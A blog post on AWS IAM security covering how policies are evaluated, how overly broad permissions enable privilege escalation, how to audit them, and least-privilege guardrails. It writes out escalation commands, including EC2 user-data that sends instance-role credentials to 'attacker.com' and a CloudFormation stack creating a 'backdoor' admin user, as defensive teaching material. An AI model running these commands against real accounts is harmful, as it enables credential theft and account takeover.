DEV Community

Davi
Davi

Posted on Originally published at blog.mago.team

AWS IAM Security — Privilege Escalation and the Principle of Least Privilege

AWS IAM Security — Privilege Escalation and the Principle of Least Privilege

AWS Identity and Access Management (IAM) is the authorization layer for every action in AWS. Misconfigured IAM policies are consistently one of the top findings in cloud security assessments — they enable privilege escalation, unauthorized access to sensitive data, and lateral movement between services. Understanding how IAM works, how it goes wrong, and how to audit it is foundational to cloud security.

How IAM Works

IAM components:
  Principals: WHO can act
    - IAM Users: human users with long-term credentials (access keys)
    - IAM Roles: temporary credentials assumed by services, EC2s, Lambda, other accounts
    - IAM Groups: collections of users sharing policies
    - AWS Services: service-to-service calls (EC2 calling S3, Lambda calling DynamoDB)

  Policies: WHAT they can do
    - Identity-based: attached to user/role/group
    - Resource-based: attached to the resource (S3 bucket policy, KMS key policy)
    - Permission boundaries: max permissions a role/user can have
    - SCPs (Service Control Policies): org-level guardrails in AWS Organizations

  Effect + Action + Resource:
    Allow iam:GetUser on arn:aws:iam::123456789:user/alice → alice can describe herself
    Deny s3:DeleteObject on * → no one can delete S3 objects (if SCP)

  Evaluation logic (simplified):
    1. Explicit Deny → DENY (always wins)
    2. Allow in all relevant policies → ALLOW
    3. Implicit deny → DENY (default)
Enter fullscreen mode Exit fullscreen mode

Common Overly Permissive Patterns

// DANGEROUS: AdministratorAccess
{
  "Effect": "Allow",
  "Action": "*",
  "Resource": "*"
}
// Anyone with this policy = full AWS account access
// Often seen on EC2 instance profiles, Lambda execution roles

// DANGEROUS: Wildcard actions on sensitive services
{
  "Effect": "Allow",
  "Action": "iam:*",
  "Resource": "*"
}
// Full IAM access = can create admin users, escalate any privilege

// DANGEROUS: s3:* on * (all buckets)
{
  "Effect": "Allow",
  "Action": "s3:*",
  "Resource": "*"
}
// Can read ALL S3 buckets in the account, including those with sensitive data

// LESS OBVIOUS but dangerous: PassRole
{
  "Effect": "Allow",
  "Action": "iam:PassRole",
  "Resource": "*"
}
// Can assign any role to any service  escalate via service with high-priv role
Enter fullscreen mode Exit fullscreen mode

IAM Privilege Escalation Techniques

Security researcher Rhino Security Labs documented 21 IAM privilege escalation paths. Key patterns:

1. Creating a New Policy Version

# If user has iam:CreatePolicyVersion on their own policy:
# They can create a new version with AdministratorAccess and set it as default

aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789:policy/VictimPolicy \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
  --set-as-default

# Now VictimPolicy = AdministratorAccess → user has full access
Enter fullscreen mode Exit fullscreen mode

2. Attaching a Policy to Yourself

# If user has iam:AttachUserPolicy (unrestricted):
aws iam attach-user-policy \
  --user-name attacker \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# → Attacker now has AdministratorAccess
Enter fullscreen mode Exit fullscreen mode

3. Creating an EC2 with High-Privilege Instance Profile

# If user has: ec2:RunInstances + iam:PassRole (for high-priv role)
# Can launch EC2 with admin-role instance profile → SSRF IMDS → admin credentials

aws ec2 run-instances \
  --image-id ami-0abcd1234 \
  --instance-type t2.micro \
  --iam-instance-profile Name=AdminRole \
  --user-data '#!/bin/bash
    TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
      -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
    curl -H "X-aws-ec2-metadata-token: $TOKEN" \
      http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole \
      | curl -d @- https://attacker.com/collect'
Enter fullscreen mode Exit fullscreen mode

4. Lambda Privilege Escalation

# If user has: lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole (for admin role):
# Create Lambda with admin execution role → invoke → execute as admin

aws lambda create-function \
  --function-name escalate \
  --runtime python3.9 \
  --role arn:aws:iam::123456789:role/AdminRole \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://escalate.zip

aws lambda invoke --function-name escalate output.txt
# Lambda runs as AdminRole → can call any AWS API
Enter fullscreen mode Exit fullscreen mode

5. CloudFormation Stack Deployment

# If user has: cloudformation:CreateStack + iam:PassRole (admin)
# CloudFormation stacks can create IAM resources — deploy stack as admin role

aws cloudformation create-stack \
  --stack-name privesc \
  --template-body '{"Resources":{"AdminUser":{"Type":"AWS::IAM::User","Properties":{"UserName":"backdoor","Groups":["Administrators"]}}}}' \
  --capabilities CAPABILITY_IAM \
  --role-arn arn:aws:iam::123456789:role/AdminRole
# Stack creates IAM user in Administrators group → use backdoor user
Enter fullscreen mode Exit fullscreen mode

Auditing IAM with Tools

IAM Access Analyzer

# AWS native — identifies external access (cross-account, public)
aws accessanalyzer create-analyzer --analyzer-name org-analyzer --type ORGANIZATION

# List findings:
aws accessanalyzer list-findings --analyzer-name org-analyzer
# Findings: S3 buckets with public access, roles assumable by external accounts

# Policy validation (check for overly permissive):
aws accessanalyzer validate-policy --policy-document file://policy.json \
  --policy-type IDENTITY_POLICY
Enter fullscreen mode Exit fullscreen mode

Cloudsplaining

# Cloudsplaining: analyzes IAM policies for privilege escalation paths, resource exposure
pip install cloudsplaining

# Download all IAM data:
aws iam get-account-authorization-details > account-authorization-details.json

# Analyze:
cloudsplaining scan --input-file account-authorization-details.json \
  --output . --html

# Report: identifies
# - Privilege escalation paths
# - Resource exposure (* resources)
# - Credentials exposure (sts:AssumeRole, iam:PassRole risks)
# - Infrastructure modification permissions
Enter fullscreen mode Exit fullscreen mode

Pacu — AWS Exploitation Framework

# Pacu: Metasploit-equivalent for AWS (RhinoSecurityLabs)
# For authorized pentesting only

pip install pacu
pacu

# In Pacu:
Pacu> set_keys  # enter AWS credentials
Pacu> run iam__enum_users_roles_policies_groups  # enumerate IAM
Pacu> run iam__privesc_scan  # detect privilege escalation paths
Pacu> run iam__bruteforce_permissions  # brute-force what actions are allowed

# privesc_scan output:
# [+] Privilege Escalation Found: CreatePolicyVersion
#     arn:aws:iam::123456789:user/developer has permission to escalate via CreatePolicyVersion
Enter fullscreen mode Exit fullscreen mode

Least Privilege in Practice

Policy Writing

// BAD: Lambda function that only needs to read one DynamoDB table
{
  "Effect": "Allow",
  "Action": "dynamodb:*",
  "Resource": "*"
}

// GOOD: Scoped to specific table, specific actions
{
  "Effect": "Allow",
  "Action": [
    "dynamodb:GetItem",
    "dynamodb:Query",
    "dynamodb:BatchGetItem"
  ],
  "Resource": "arn:aws:dynamodb:us-east-1:123456789:table/Users"
}

// GOOD: Condition-based restrictions
{
  "Effect": "Allow",
  "Action": "s3:GetObject",
  "Resource": "arn:aws:s3:::company-reports/*",
  "Condition": {
    "StringEquals": {
      "aws:PrincipalTag/Department": "Finance"
    }
  }
}
// Only Finance-tagged principals can access the bucket
Enter fullscreen mode Exit fullscreen mode

IAM Access Advisor

# See which services a user/role HAS accessed (prune unused permissions):
aws iam generate-service-last-accessed-details \
  --arn arn:aws:iam::123456789:role/AppRole

aws iam get-service-last-accessed-details --job-id <job-id>
# Shows: last time each service was called
# Never-called services → safe to remove from policy → real least privilege
Enter fullscreen mode Exit fullscreen mode

Guardrails: Permission Boundaries and SCPs

// Permission boundary: caps what a role can do even if policy allows more
// Use case: developers can create roles, but only roles with this boundary
{
  "Effect": "Allow",
  "Action": ["s3:*", "dynamodb:*"],
  "Resource": "*"
}
// A user with AdministratorAccess + this boundary:
// Can only call s3:* and dynamodb:*  AdministratorAccess is capped

// SCP (Service Control Policy)  org-level guardrail
// Prevents ANY account in the org from disabling CloudTrail:
{
  "Effect": "Deny",
  "Action": [
    "cloudtrail:StopLogging",
    "cloudtrail:DeleteTrail",
    "cloudtrail:UpdateTrail"
  ],
  "Resource": "*"
}
// Even root user in member accounts cannot stop CloudTrail
Enter fullscreen mode Exit fullscreen mode

Key IAM Security Controls

1. No long-term access keys for humans → use IAM Identity Center (SSO) with short-lived credentials
2. Rotate access keys quarterly minimum → alert on keys > 90 days old (Config rule)
3. MFA required for console access → IAM policy with MFA condition
4. No root account access keys → delete them
5. CloudTrail enabled in all regions → all IAM actions logged
6. AWS Config rules:
   - iam-user-no-policies-check: users get permissions via groups, not direct policies
   - iam-root-access-key-check: root has no access keys
   - access-keys-rotated: alert on old keys
   - iam-password-policy: enforce complexity
7. Quarterly access review: use IAM Access Advisor to prune unused permissions
Enter fullscreen mode Exit fullscreen mode

IAM is where cloud security is won or lost. An overly permissive role isn't a low-severity finding — it's a potential path to full account takeover via a single compromised EC2 metadata request or Lambda invocation. The Capital One breach (SSRF → IMDS → overpermissioned role → S3 exfiltration) is the canonical proof.

Top comments (0)